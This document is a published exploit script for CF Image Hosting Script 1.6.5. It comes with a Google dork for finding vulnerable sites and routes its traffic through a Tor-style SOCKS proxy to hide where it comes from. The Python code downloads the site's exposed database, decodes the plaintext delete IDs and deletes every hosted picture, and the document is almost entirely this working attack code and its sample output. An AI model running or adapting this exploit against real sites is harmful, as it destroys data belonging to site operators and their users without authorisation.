CF Image Hosting Script 1.6.5 Privilege Escalation

`#!/usr/bin/env python  
"""  
Exploit Title: CF Image Hosting Script 1.6.5: Delete database  
Google Dork: "Powered By CF Image Hosting script"  
Date: 01/08/2019  
Exploit Author: David Tavarez  
Vendor Homepage: https://davidtavarez.github.io/  
Software Link: http://forum.codefuture.co.uk/showthread.php?tid=73141  
Version: 1.6.5  
Tested on: Debian 9.6  
  
By default, the database can be downloaded by any user. After decoding  
the file the database should be unserialize. The DELETE ID is stored  
in Plain Text, this ID can be use to delete a picture.  
  
$ virtualenv cfexploit  
$ source cfexploit/bin/activate  
$ pip install phpserialize  
$ pip install PySocks  
$ python exploit.py http://127.0.0.1:8000  
  
[-] Target: http://127.0.0.1:8000/  
[-] Downloading the database...  
[+] Decoding database...  
[-] Finding pictues...  
[+] Pictures found: 3  
[+] Ready... let's do this! Deleting all pictures...  
[+] Done.  
  
"""  
import phpserialize  
import base64  
  
import socks  
import socket  
  
import sys  
  
  
def create_connection(address, timeout=None, source_address=None):  
sock = socks.socksocket()  
sock.connect(address)  
return sock  
  
  
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5, "127.0.0.1", 9150)  
  
# patch the socket module  
socket.socket = socks.socksocket  
socket.create_connection = create_connection  
  
import urllib2  
  
if __name__ == '__main__':  
if len(sys.argv) == 1:  
print "ERROR: Provide a valid URL"  
sys.exit(-1)  
url = sys.argv[1]  
  
ids = []  
  
try:  
print "[+] Target: {}".format(url)  
print "[+] Downloading the database..."  
response = urllib2.urlopen("{}/upload/data/imgdb.db".format(url))  
print "[+] Decoding database..."  
with open("imgdb.db.txt", "w+") as f:  
f.write(base64.b64decode(response.read()))  
print "[+] Finding pictues..."  
for key, value in phpserialize.load(file("imgdb.db.txt")).iteritems():  
ids.append(value.get('deleteid'))  
print "[+] Pictures found: {}".format(len(ids))  
print "[+] Ready... let's do this! Deleting all pictures..."  
for id in ids:  
urllib2.urlopen("{}/?d={}".format(url, id))  
print "[+] Done."  
  
except urllib2.URLError, ex:  
if ex.reason == "Forbidden":  
print "[-] ERROR: this version is not vulnerable."  
except EOFError, e:  
raise e  
  
`